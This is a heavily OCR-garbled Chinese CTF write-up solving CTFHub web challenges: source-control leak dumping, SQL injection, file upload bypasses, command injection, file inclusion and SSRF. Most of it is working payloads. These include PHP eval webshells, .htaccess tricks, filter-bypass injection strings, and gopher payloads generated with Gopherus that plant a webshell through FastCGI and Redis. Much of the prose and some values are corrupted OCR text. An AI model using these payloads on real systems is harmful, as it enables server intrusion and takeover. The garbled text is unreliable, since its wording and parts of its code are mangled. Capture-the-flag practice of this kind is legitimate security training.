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GET /private/index. himl HTTP 1.0

Host: localhost

Authorization: Basic QWzhICRpbjpvcbVulHN]c2FtZQe
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P I=E

1. FP 4% £ Hbase64 %, #EAuthorizationd
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./scrabble http://challenge-4d54fed0301ac99d.sandbox.ctfhub.com:10080/
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oot@kali:~/safe/tool/scrabble# ./scrabble http.//challenge-4d54fed0301ac99d.sandbox.ctfhub.com: 10080/
I E I Git & T /root/safe/tool/scrabblel/.git/
parseCommit 5fe4a2c16066bccd995d737¢8095ec702018c95e
downloadBlob 5fe4a2¢c16066bccd995d737c¢8095ec702018c95e
parseTree 012ae1fc6b838a345b689aebbb4ecOedfd517a64
downloadBlob 012ae1fc6b838a345b689ae6bb4ecOedfd517a64
downloadBlob 9071e0a24f654c88aa97a2273ca595e301b7ada5
downloadBlob 2c59e3024e3bc350976778204928a21d9ff42d01
parseCommit 2384aec40e6e4d2c66406502925d830bc74d10b3
downloadBlob 2384aec40e6e4d2c66406502925d830bc74d10b3
parseTree 5338c42854d6c70cebe4e9b308a1ae715bf2923d
downloadBlob 5338c42854d6¢70cebe4e9b308a1ae715bf2923d
downloadBlob 9071e0a24f654c88aa97a2273ca595e301b7ada5
downloadBlob 1b1b32cbef34a08c202ef802420d9959afd5f54 1
downloadBlob 2c59e3024e3bc350976778204928a21d9ff42d01
parseCommit dce6956a6632685a7e5a814481899ee62eceedf6
downloadBlob dce6956a6632685a7e5a814481899ee62eceedf6
parseTree 012ae1fc6b838a345b689ae6bb4ecOedfd517a64
downloadBlob 012ae1fc6b838a345b689ae6bb4ecOedfd517a64
downloadBlob 9071e0a24f654c88aa97a2273ca595e301b7ada5
downloadBlob 2c59e3024e3bc350976778204928a21d9ff42d01
HEAD Bl#Ef. T 5feda2c remove flag
root@kali:~/safe/tool/scrabble# /s

50x.html index.html LICENSE README.md scrabble

#nloghl, {3 FHgit logfr & & E B commitiE it T ML 44
root@kali:~/safe/tool/scrabble# git log
commit 5fe4a2¢c16066bccd995d737c8095ec702018c95e (HEAD -> master)
Author: CTFHub <sandbox@ctfhub.com>
Date: Sun Dec 27 03:39:12 2020 +0000
remove flag
commit 2384aec40e6e4d2c66406502925d830bc74d10b3
Author: CTFHub <sandbox@ctfhub.com>
Date: Sun Dec 27 03:39:12 2020 +0000
add flag
commit dce6956a6632685a7e5a814481899ee62eceedf6
Author: CTFHub <sandbox@ctfhub.com>
Date: Sun Dec 27 03:39:12 2020 +0000
init
A A Blflag 1 128 5h
root@kali:~/safe/tool/scrabble# git diff HEAD 2384a

5 45 A< H B 2384 af) commit i A [ 2 &b
2384acommitid (5—#k%, ArhREPAE)

7] LAf# F git reset -hard i &



root@kali:~/safe/tool/scrabble# git reset --hard 2384a

HEAD BLfEALF 2384aec add flag

root@kali:~/safe/tool/scrabble# /s

50x.html 70951307416715.txt index.html LICENSE README.md scrabble
root@kali:~/safe/tool/scrabble# cat 70951307416715.txt
ctthub{0dd6cb158d3626e3251e5150}

Stash

e b T R R BR B — BT SR, {BERREN22691213672964 ST 4R -

root@kali:~/safe/tool/scrabble# cat 22691213672964.txt

where is flag
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root@kali:~# python GitHack.py http://challenge-f13506201995566¢.sandbox.ctfhub.com:10080/.git/

git stash list
git stash pop
BHE

git stash apply

Index

{# F Githack T &
BEN B FHE$cat 30, EiEHiflag
P IX AKX AR, BT BEMARGE

root@kali:~/safe/tool/GitHack/dist/challenge-ecbada29eac4b8a6.sandbox.ctthub.com _10080# cat 1963936617121.txt
ctthub{7e6d812c4063130af98cc6ed}
root@kali:~/safe/tool/GitHack/dist/challenge-ecbada29eac4b8a6.sandbox.ctthub.com_10080# git /s-files
1963936617121.txt

50x.html

index.html

root@kali:~/safe/tool/GitHack/dist/challenge-ecbada29eac4b8a6.sandbox.ctfthub.com_10080%# git /s-files -s
100644 d57fd30c01c15169436221eebaef8abdaibf2e64 0 1963936617121.txt

100644 9071e0a24f654c88aa97a2273ca595e301b7ada5 0 50x.html

100644 2c¢59e3024e3bc350976778204928a21d9ff42d01 0 index.html
root@kali:~/safe/tool/GitHack/dist/challenge-echada29eac4b8a6.sandbox.ctfhub.com_10080# git cat-file -p d57fd
ctfhub{7e6d812c4063130af98cc6ed}
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B 78 H &index, Bt LALERAZE 8 Bl gitiindex® 72 X S HAT1 63 F git Is-files B 8 77 X B 115 W L 3044

L8R, indextE XXM BEHAALE, AU CLEBEITIF, AdREM frilERATERLEgt FbashIREE k4T
HERINBEEF27741192706094 txt3044 N &

B, BIMTEEEF27741192706094 txt3C44%F M HIBlobXt %, @F: git Is-files -s —

27741192706094..txt Bt H# git Is-files -s 23 /5 @I BlobXf &, EiJ27741192706094 txt. it EHKINZ: git cat-file -p 441a2
15 ZFlflag
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TP RE M ASVNBEATRRASZ ], Yo R EZhHE. MRAREARD, TaE S svn X EEREBIL% LI, Xpt5]#e T SVNit 5 KR

FEMRA:

Hsvnfd Bl T checkout & JE st & p.svn i, BETEE#E ZME B . svnfs S ERIE EEHR A T Bl entrist3C 4, Bid.svn/entrista]
DL E M AR, E2REREsN1.6Z BIRA; B -ANREMAESVN.7ERRA, svn1.7/5FRA 5] N —A % we.db i EiE
FEBHAR AR O SR B, @it 1. svn/we.db Rl PLR 3R B A Hh

XERsv1. 72 EHIRA, THEwc.db3C, /svnwc.db

root@kali:~/safe/tool/dvcs-ripper
il Found new SVN client storage format!
REP INFO => 1:file:///opt/svn/ctfhub:e43e7ef8-82fb-4194-9673-81c29de69c33
i] Trying to revert the tree, if you get error, upgrade your SVN client!
2k & “index.html”
root@kali:~/safe/tool/dvcs-ripper
dvcs-ripper-ctfhub .gitignore  index.html README.md rip-cvs.pl rip-hg.pl .svn
dvcs-ripper-master.zip hg-decode.pl LICENSE  rip-bzr.pl rip-git.pl rip-svn.pl
root@kali:~/safe/tool/dvcs-ripper
root@kali:~/safe/tool/dvcs-ripper/.svn
entries format pristine text-base tmp wc.db wc.db-journal
root@kali:~/safe/tool/dvcs-ripper/.svn
root@kali:~/safe/tool/dvcs-ripper/.svn/pristine
bf ca
root@kali:~/safe/tool/dvcs-ripper/.svn/pristine
root@kali:~/safe/tool/dvcs-ripper/.svn/pristine/ca
cad5d155a7a5b74bf9a8abc56b35495c6aa8ca5b8.svn-base
root@kali:~/safe/tool/dvcs-ripper/.svn/pristine/ca
ctfhub{6bbe9fa399d3a7ee1905c53c

3 dves-ripperff Hi 4
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0x06 HGitlt 58

ST RN R AE R Mercurial AT Az S, xTui R B30E. MRLEAD, RS hg X MFREZRE DL LR, KGR 7 HGHt 5

HGitt 25 IR F dves-ripper TR (—Kperlf R AZ SR A4E B ER A TR, ZFSVN, GIT, Mercurial/hg, bzr...)

rip-hg.pl -u http://challenge-0ecf6f106f3a58be.sandbox.ctthub.com:10080/.hg/

f# F dves-ripper B H# rip-hg.pl fiIZ 347 clone.

clonef#4E. @ HHER


https://blog.csdn.net/weixin_45485719/article/details/104958542

Flag 7E iR 553 |H RA FOVRAREG o, ARIFRERITE ST, W8 F LA .

fliE—
& F hg/store/fncache ®] &1 flag #3144 Kflag_88274161.txt, B E:Vj Al B I 43 flag

filik—
RS ImMER T flag SCHRIE, AT ZRMNGRIEFRE TR, BEE hg/store/data/flag_ 88274161 ixti EE TRIZLEH
M A?)

8aaad3i.sandbox.ctfhub.com: 100808/ . he

Time
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/store#f cat fncache

http log.cse

R IR 1% ) R 46 U TR
RBER N4 eyougwZHL: admin@(eyou)

xpathii 55 R BR324 3R, BATTE ZAE Bimid B Bk AT R BN T B 324067 UG HI 8 ¥


https://www.cnblogs.com/chalan630/p/12521146.html
https://www.uedbox.com/post/23317/
https://blog.csdn.net/a597934448/article/details/105543380
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id=1 and (updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1));

0x02 fi /R H i
payload:

if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name fro
m information_schema.tables))

RV JR P 4 -

AR BB https://blog.csdn.net/weixin_44732566/article/details/104455318
SBHCARPRM/REE, RAKAFHE, BARFEIRE, ARE2EEME, HERKIREZAN kK.

payload:?id=1and 1 =2

->[A] & & query_success

XEBAEEWAREERA—M, —RARBEREEEENSERANTHEEMEBEARE, B Reror, XIEBZHIEEEHN
2, REERsuccess, RA{EWIEFIMEER A& Elerror,

>3 Hand FEAMA/REEFEARATE, FEMRBREERLS R T RAN. XaHEE 2 HifEaifexprt,expr2,expr3)

?id=if(1=1,1,union select)
?id=if(1=2,1,union select)

SRR 4E

->mysqIiTE AT IX 518 A B 15 2 X BARE AT HIME A R B A IR, XL kexpr1bERE, #BZeror.
STIBA R AT LAfEexpr1 kbid N BIBTEA], expr2ibifl b IEMEE:KIsqiEf), exprakbi b iRiE%kKIsqliEA)
S FHEH

FE#HKA: select* from users where id=(select username from users);

BEERXNENERRR FEMNRENERBLIRE —FEFR, TNHHRE

->payload :

?id=if(1=1,1,(select table_name from information_schema.tables))
?id=if(1=2,1,(select table_name from information_schema.tables))

S%

->#£?id=1 JSHE ¥ N and sleep(10)

XANER A AR 2 B AN R EEAEREK— &, FARFHREETERA, AT EEMNEKRRLERINEER
i, sleep(10)2 J&G 7] LAE B M vk B B FEIR, E B RS [B] L7 1E

_>ﬁ§

id=1 and if((substr(database(),{0},1)='{1}'),sleep(3),1)
id=1 and if(ascii(substr(database(),{0},1)='{1}"))

0x04 MySQLZ; ) -
EERETEN, APTRL LFBELRBENE
0x05 cookiel: A :

— % R Bigetfpost ik, WRMH Trequestiik, ZAESRERTAget,postE NS, ¥ A M{EH cookieskiE NEE
@R, B HAl T B RSz Hlcookied: A
2. f#HsqlmapiE A


https://blog.csdn.net/weixin_44732566/article/details/104455318

fERTTE: —level 2
0x06 UAE A :

g B tUser Agent R SEBEN, @Flcookieid: A
sqlmap K —-level 3 2 B sht& & User-Agent £ B FEEIEN

0x07 Referix A\ :

Bt s RefersksZBIEN, WFcookielEA
—level B KT T30, &%l TreferiE A

0x08 if 38 75 #% -

R Re R E T

R

WAL E
0/*7union/*/select/*’/1,(select/*/group_concat(table_name)/*/from/*/information_schema.tables/*where/*Aable_schema=database())# wod
cbmcjcu
0/union/*/select/*/1,(select/*/group_concat(column_name)/*/from/*/information_schema.columns/“where/*/table_name='wodcbmcjcu'/*"/

limit/**/0,1)# wiotvizvew
0//union/*/select/*/1,(select/*/group_concat(wiotvtzvew))/*/from/*wodcbmcjcu#

XSS
0x01 Jx 5 %Y

F FxssF & 15 2lflag
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pra i o
0x01 XUk

E_‘mﬁ_t’ﬁ?

<?php eval(_$POST['hacker']); ?> //C JJ 22 fHpost 7775

0x027 ¥ 36 iE

FE—:

1EW Y5 2% Hh 2R st 1

Chrome¥ifg: & E->Mukii% B->JavaScript
FHE:

EEEHBRESRSEE, MBBUHtHA

0x03MIMEFR #i

MIME JF 4= /& 48 2 Fl i& LB B R 2884 . 5 R4 2 THTTPHI Content-Type Z B,  #RON B M I (AR
—H)iE b4E, 8. BXContent-Type AE&#EKR (imageljpeg)

0x04 004 i


https://blog.csdn.net/solitudi/article/details/107544165

JRH#: %00, 0x00, /00#KJE T 00T, FIFH KRR B IENIRIF (asciFORRNERELER) , FTLLREFER H 00 &
1k, INNBZEK.

% PHP<5.3.29, HGPC¥*A

JE ARG,

if (lempty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);/pathinfo() &%t LA$2H H97E Z03E [l A S 2 B 15 5 -
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET[road] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
// move_uploaded._file($file, $des) #2 X ftfile B 5} Zldes #
/' $_FILES HFiEBHTTP POST_LfEH954
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
//$_FILES[file'I['tmp_name'] X # 1% /5 (£ IR %5 i i iR I T A5, — AR A H A
echo "<script>alert(' & 3h")</script>";
} else {
echo "<script>alert('_EA&KIK')</script>";
}
} else {
echo "B AL,
}

WUEE, desREAMIMHH, B
IlfT[road], /, BEHLE, HH, E%"{@élﬂﬁﬁo HHBGETZHroad R FI K, FUA LLiEiddes= ET[ron

1

0x05 W5 J5 4

A, B4 S pphphp, SRiT
J5 GRS

$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "
ashx', "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, ", $name);
// str_ireplace($search, $replace, $subject)

// #Esubject F #9r Fsearch & # Kreplace

0x06 ALK&

SO SRS R 2 WA TE B AR SCAF BRSBTS %, R4S 88 % B b A% SO ) Content-Type X BLHAT R, AN [FI#E 2K SCHFFF 3k
SHRHEE.

BB A R 3 SO Sk

Fig—: Fwinhext B F

(JPG) M3tk (FFD8FF)

(PNG) M3tk (89504E47)

514 B — ) S B AT T

k. EAEIPGE, E, BIPGX LR, Himt—aiE

¥ AR — AR IR E SRR T

0x07 .htaccess



.htaccess R Apache [R5 3 F I —MEEE XM, ERFTMHXREFZTRMREE, &id.htaccess3C 7] LLSEIMN 301 H €
M. HEXA04TTH . R R4 RVFHIER KA & BRMin . 2k BRFER. BEERICHEFEDE.

B4 https://mww.cnblogs.com/201752111lyz/p/11741348.html

FE—:

ZARH B OS5 .htaccess 2 o Il 55 25 1Y) .htaccess 1T S 1VF — L Th &k .

Mt htaccess, Rilfk45 25 png X4 1Ephpf@iT

AddType application/x-httpd-php .png

A% htaccess (wh_EiiX—a)iE) —> EAERT)
BHA—HA)iEshell, RJEHERBKpng > LAERLT)
FE

<FilesMatch "2">

SetHandler application/x-httpd-php
</FilesMatch>

FBRARIE: B8 EE 209304 BEphpfE T
4 A& HI2.png ik AT EAE php T
-> b 4% gtaccess ->_E4£2.png

RCE
0x01 iy &¥EAN

KA.

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip"]) {// #£Aip.
$cmd ="ping -c 4 {$_GET['ip'})"// &Efrm<, A LH#
exec($cmd, $res);/ #Hifremd, LR % H Fres

}

RIEEIT D, oA E Eept a4

> A\&ls, [BlEflag.php

->#i N&cat flag.php ¥ & IE#iE &, 1 &cat flag.php| base64iX AT L E #6304 N 28 Lhbase64 8] &
HEF12ERIENRY, KEflag (laghife R FR/NERET, FREEMTUIE R E2)

0x02 it 3E cat

FR KL

cat HE—THIBERAS, KA AR H

tac NG —1TBIF BN, KA NARH
moreiR4E & 0K/, — T —TMILSE IR Z |

ess FimoreZ&fl, (HFEAR AT AERIEI O, M BT o I RER
head R &/RkJU4T

tail R R J5 JUAT

nl &l Fcat -n, EREHHHITS

tailf Z&fl Ftail -f

ping#r4 : ping-c4 (GEHESFHI)
-c Count #8 B E M K% (BB WELEESERKEH, B Count BEIEH.
BARH


https://blog.csdn.net/woailyoo0000/article/details/79914355

0x03 i 38 2% #%

if (preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {Sip}";
exec($cmd, $res);

fEbash, WA TFZRFRE K
<. <> {}» %20(ZH5URL). %09(tabURL). $IFS$9. ${FS}. $IFS

0x04 i 38 H &7 R fF
if (Ipreg_match_all("/V/", $ip, $m)) {

$cmd = "ping -c 4 {Sip}";
exec($cmd, $res);

T BESRRA/, BAam Fed 23 AR H 3
0x05 it 3812 H 7
if ('preg_match_all("/(\|\&)/", $ip, $m)) {

$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);

FiE—: KB&EUK;
Tk catxx.php |base64 Z4rT base64 xxx.php

0x06 4R & WL
if ('preg_match_all("/(\||&[;] |V|cat|flag|ctfhub)/", $ip, $m)) {

$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);

OFEURLF A %0afkE [HEEPT1EURLGRS ]
@=ZHH${IFS}

®catfica"t

@flatHfla*

0x07 evalt 47
% Lig)l, getFlag
0x08 > &
VN AT



<?php
error_reporting(0);
if (isset($_GET[file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
}else {
highlight_file(__FILE_ );
}
>
<hr>

i have a <a href="shell.txt">shell</a>, how to use it ?

payload:
B 3flag

ctthub=system('cat /flag');

0x09 PHP://input

FIHIRR:  php:/linput post EAEA Dordr 44T
[ hackbarAA13E At 4 A Gepost E A% %4 1

0x10 i B IR AR ARG

E ¥ H php:/filter/convert.base64-encode/resource=../../../..]../../flag
O—FFikfE Fflag.php, E£EE, KRKERERR®, Zflagk/F%
@ORBELM.. MEENRE

ox11 mfEas

Wilff: as—aAMREEEwebshelkgetshell [TLHCIRES2E, 3]

. POST /?file=php://input HITP/1.1

! Eost: challenge-606333£9577776bb.sandbox.ctfhub.com:10080
Content-length: 29

Pragma: no-cache

Cache-Control: no-cache

i Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
(KHIML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

AppleWebKit/537.3¢6

} Origin: http://challenge-606333£%577776bb.sandbox.ctfhub.com:10080
i Content-Type: application/x-www-form-urlencoded
)} Accept:

text/html,application/2html+xml, application/xml;g=0.9,image/avif, image/w
ebp, image/apng,*/*;g=0.8,application/signed-exchange;v=b3d;g=0.%

. Referer:
http://challenge-60€6333£9577776bb.sandbox.ctfhub.com:10080/?file=data://
text/plain, $3C7?php%20@5_REQUEST[123]7%3E

! Accept-Encoding: gzip, deflate

Accept-language: zh-CN,zh;g=0.9

Connection: close

i «?php system('cat /flag'): 7>

SSRF
0x01 Py ™ 5 1]

2R V7 A7 F127.0.0.1#flag.php e
#EZEH, EESur

W

w

<]

w @

10
11
12
13
14
15
le

HTTP/1.1 200 QK

Server: openresty/1.15.8.2

Date: Sun, 27 Dec 2020 13:49:44 ¢
Content-Ivpe: text/html;
Content-Length: 112
Connection: cleose
X-Powered-By: PEP/5.6.40
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-I
Access-Control-Allow-Methods: *

charset=

htfhub{0flllhl99637135££h392209]
<hr>

i den't have shell, how to get £l
<a href="phpinfo.php">phpinfeo</a:



ctfhub.com:10080/?url=_

il :
http:/sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php

get FLAG
0x02 fy tir i BX ST 44

2R 3 — T Web H & T Kiflag.phplE
WIB#EEZE A, EEBur
http://sandbox.ctthub.com:10080/?url=_

& H Aweb B3R FH, HOF A Nariww/html/
payload:

?2url=file:///var/immw/htmi/flag.php

WHEER? 2 2, AEIHRIGgetFlag

0x03 i O 4

sk Sk itk B C TR HUb 7E £ 3335 1, 35 i 35% 1 3 [l /2 8000-9000 M5,
FHbpHintruder @i

B4 % 8000-9000 1 il A<

f=open("1.txt",'w+')

for i in range(8000,9001):
f.write(str(i)+'\n")

f.close()

—JFEE

GET /?url=http://challenge-a407d60a592d6507.sandbox.ctfhub.com:§ 100808

PRBR, B A T

GET /2url=127.0.0.1:§1§ HTTP/1.1
BREMEA A AT

0x04 Postig sk

hint:iX K& &K —AHTTP POST&ER. % T .ssrf Fphp#curl SEEL . 5 B 2 BREF 3028k 5% . hn i ME 3% 4

HEREREREEMEA: http://challenge-c28221ac3d4b62cc.sandbox.ctfhub.com:10080/?url=_

229K file:// L R

http://challenge-c28221ac3d4b62cc.sandbox.ctthub.com:10080/?url=file:///var/www/html/index.php



<?php
error_reporting(0);

if (lisset($_REQUEST['url'])){
header("Location: /?url=_");
exit;

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $ REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);

curl_close($ch);

BT —T, HEEEfag.php, BRIT
<?php
error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] !="127.0.0.1") {
echo "Just View From 127.0.0.1";
return;

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;

}

?>

<form action="/flag.php" method="post">
<input type="text" name="key">

<!-- Debug: key=<?php echo $key;?>-->
</form>

BERZAH 7 Al flag.php

?url=127.0.0.1/flag.php

V5 19 BT AT Bl i keyfimd5

<I-- Debug: key=61e644ad573586d6a87c7f8238d59c04-->
SR R % ZEpost keyR 7]

SSRF&IXPOSTER, HARMMEAEZE] T gopher



import urllib.parse

payload =\

""POST /flag.php HTTP/1.1

Host: 127.0.0.1

Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=c384d200658f258e5b5c681bf0aa29a8

tmp = urllib.parse.quote(payload)

#EE LRI E%0a, #HTTPH%0d%0a7#7 #HiT
Line = tmp.replace('%0A",'%0D%0A")

payload = urllib.parse.quote(Line)

result = 'gopher://127.0.0.1:80/'+'_'+payload

print(result)  # X &R K EGET ig K/ LA ZEH AT B Kurl 45

Payload:

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HT TP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type %25
3A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D969cf2a2c
af2ccb09c9cfaeceee10d149%250D%250A

0x05 k- 4& 3
A E—BE AKX, KA R MpostEidiEAE post 3L 4
#IH file:// £ Hindex.phpFiflag.php

<?php
error_reporting(0);

if (lisset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);

curl_close($ch);



<?php
error_reporting(0
if($_SERVER["REMOTE_ADDR"] !="127.0.0.1"

echo "Just View From 127.0.0.1"
return

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0
echo getenv("CTFHUB"
exit

7>

Upload Webshell
<form action="/flag.php" method="post" enctype="multipart/form-data">

<input type="file" name="file">
</form>

RE FAERTORISCAFBI A
BRNCLARET, HEM2HH N

RGN, Bfhost, 7ERBUHE - — B4 4 fiPayload



import urllib.parse

payload =\

""POST /flag.php HTTP/1.1

Host: 127.0.0.1

Content-Length: 794

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://challenge-c8f769841b5b12a2.sandbox.ctfhub.com:10080

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8EtHCmSYeNJ2eM2z

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90
.0.818.49

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-c8f769841b5b12a2.sandbox.ctfhub.com:10080/?url=file:///var/imww/html/flag.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Connection: close

------ WebKitFormBoundary8EtHCmSYeNJ2eM2z
Content-Disposition: form-data; name="file"; flename="1.txt"
Content-Type: text/plain

Scylambhh
------ WebKitFormBoundary8EtHCmSYeNJ2eM2z--

tmp = urllib.parse.quote(payload)

HIEE LERHIEIE%0a, HEHTTP#%0d%0a7 7 #/T
Line = tmp.replace('%0A",'%0D%0A")

payload = urllib.parse.quote(Line)

result = 'gopher://127.0.0.1:80/'+'_"+payload

print(result)  # X & & A 2GET ig KA LI 21T By Aurl 45

0x06 FastCGIiYl
fTFastCGl/NARBEERATAT
https://github.com/tarunkant/Gopherus
I 25

e libcurlhit4&>=7.45.0

o PHP-FPMUH7 i I

e PHP-FPMi 4 >=5.3.3
o CHNARSS 2 EAEE — A php X4 i 45T #5145



root@aa:~/tools/Gopherus$ python2 ./gopherus.py --exploit fastcgi

/ / [ _

IN L N N\ NV

VAN (<) [>> YN VAN

Y Y S
VAR N R VARRY vV

author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: /var/www/html/index.php
Terminal command to run: echo "<?=eval($_POST[1])?>">>/var/www/html/shell.php[DA[DA[DA[DA[DA[DA[DADA[DA[DA[DY CTraceback (m
ost recent call last):
File "./gopherus.py", line 47, in <module>
FastCGl.FastCGI()
File "/home/wyu/tools/Gopherus/scripts/FastCGl.py", line 9, in FastCGI
command=raw_input("\033[96m" +"Terminal command to run: "+ "033[0m")
KeyboardInterrupt
root@aa:~/tools/Gopherus$ python2 ./gopherus.py --exploit fastcgi

/ / [ _

Iy N NI\ NV

VAN (<>)[>> YN VAN

Y Y Y S
Vo L] VvV V v

author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: /var/www/html/index.php
Terminal command to run: echo "<?=eval(\$_POST[1])?>">>/var/www/html/shell.php

Your gopher link is ready to do SSRF:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F %10
SERVER_SOF TWAREQ0%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F %08SERVER_PROTOCOLHTTP/1.1%0E%03CONTE
NT_LENGTH105%0E%04REQUEST _METHODPOST %09KPHP_VALUEallow_url_include%20%3D%200n%0Adisable_functions%20%3D%20
%0Aauto_prepend_file%20%3D%20php%3A//input%0F %17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT _ROOT/%00%0
0%00%00%00%01%04 %00%01%00%00%00%00%01%05%00%01%00i%04%00%3C%3F php%20system%28%27ech0%20%22%3C%3F %3
Deval%28%5C%24_POST %5B1%5D%29%3F %3E %22 %3E %3E/var/www/html/shell.php%27 %29%3Bdie %28%27-----Made-by-SpyD3r-----%0
A%27%29%3B%3F %3E%00%00%00%00

B %Payload:



?url=gopher%3A%2F %2F127.0.0.1%3A9000%2F _%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500
%2500%2500%2500%2501 %2504 %2500%2501%2501%2505%2505%2500%250F %2510SERVER_SOFTWAREQg0%2520%2F %2520fcgiclie
Nnt%2520%250B%2509REMOTE_ADDR127.0.0.1%250F %2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH105%2
50E%2504REQUEST_METHODPOST %2509KPHP_VALUEallow_url_include%2520%253D%25200n%250Adisable_functions%2520%253D%
2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F %2Finput%250F %2517SCRIPT_FILENAME%2F var%2Fwww%2F html%2Fi
ndex.php%250D%2501DOCUMENT_ROOT %2F %2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2
501%2505%2500%2501%2500i%2504%2500%253C%253F php%2520system%2528 %2527 ech0%2520%2522%253C%253F %253Deval%25
28%255C%2524_POST %255B1%255D%2529%253F %253E%2522%253E%253E%2F var%2Fwww%2Fhtml%2F shell. php %2527 %2529%253
Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527 %2529%253B%253F %253E%2500%2500 %2500 %2500

0x07 Redisthril
MNETBRHIEA:

wyu@wye:~/tools/Gopherus$ python2 ./gopherus.py --exploit redis

/ / (- S
/N A\ W VI IR W S W O A

VAN (<>) [>> YN VAN

\ NIl N IN__ > ||/ >

VAR T R VARRY vV

author: $_SpyD3r_$

Ready To get SHELL
What do you want?? (ReverseShell/PHPShell): PHPShell

Give web root location of server (default is /var/imww/html): /var/www/html
Give PHP Payload (We have default PHP Shell): <?php @eval($_POST[1])?>

Your gopher link is Ready to get PHP Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248 %0D%0Aflushall%0D%0A%2A3%0D %0A%243%0D %0Aset%0D%0A%24 1%0D%0A1%0D%0A
%2428%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST %5B1%5D %29 %3F %3E%0A%0A%0D%0A%2A4%0D %0A%246%0D%0Ac
onfig%0D %0A%243%0D%0Aset%0D %0A%243%0D%0Adir%0D %0A%24 13 %0D %0A/var/www/html%0D%0A%2A4%0D %0A %246 %0D%0Acon
fig%0D%0A%24 3%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D %0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asa
ve%0D%0A%0A

When it's done you can get PHP Shell in /shell.php at the server with ‘cmd” as parmeter.

&% Payload:

?url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D %25
0Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D %250A%250A%250A%253C%253F php%2520%2540eval %2528 %
2524 _POST%255B1%255D%2529%253F %253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%25
0A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2F var %2 Fwww%2Fhtml%250D%
250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%2524 10%250D%250Adbfilen
ame%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave %250D%250A%250A%0A

0x08 URL Bypass

ZE3R LA notfound.ctthub.com FF3k, @%eid, JRIEERZ parse_url f#HT A &



Payload:
2url=http:/notfound.ctfhub.com@127.0.0.1/flag.php
0x09 %1 ~IP Bypass

I T 127R172

8 58 7 ) b %% gk ) B T

Payload:

http://2130706433/flag.php

0x10 302 ¥ #k Bypass

REH Y3028k, 47 LALE H Civps b % B E € M
WifSiEvps T, BEIEA R Mk

0x11 DNSE 4§ & Bypass

H# - Mitceye

X DNS Rebinding:

AT AR R

#1111 %

127001 %


https://4m.cn/user
http://ceye.io/profile
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